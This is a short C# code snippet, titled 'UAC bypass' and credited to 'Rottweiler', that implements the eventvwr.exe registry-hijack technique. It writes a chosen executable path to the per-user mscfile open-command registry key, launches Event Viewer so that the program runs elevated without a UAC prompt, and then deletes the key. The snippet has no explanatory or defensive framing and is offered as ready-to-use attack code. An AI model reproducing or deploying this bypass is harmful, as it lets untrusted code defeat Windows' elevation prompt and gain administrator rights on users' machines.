UAC bypass

        /// <summary>
        /// Start elevated process with UAC bypass.
        /// Credits: Rottweiler
        /// </summary>
        /// <param name="filename"></param>
        static void UACStart(string filename)
        {
            if (Environment.OSVersion.Version.Major >= 6)
            {
                string filename_safe = Path.GetFullPath(filename);
                Registry.CurrentUser.CreateSubKey(@"Software\Classes\mscfile\shell\open\command", RegistryKeyPermissionCheck.ReadWriteSubTree)
                    .SetValue(string.Empty, filename_safe);
                Process p = Process.Start("eventvwr.exe");
                p.WaitForExit();
                Registry.CurrentUser.DeleteSubKey(@"Software\Classes\mscfile\shell\open\command");
            }else
            {
                Process.Start(filename, "runas");
            }
        }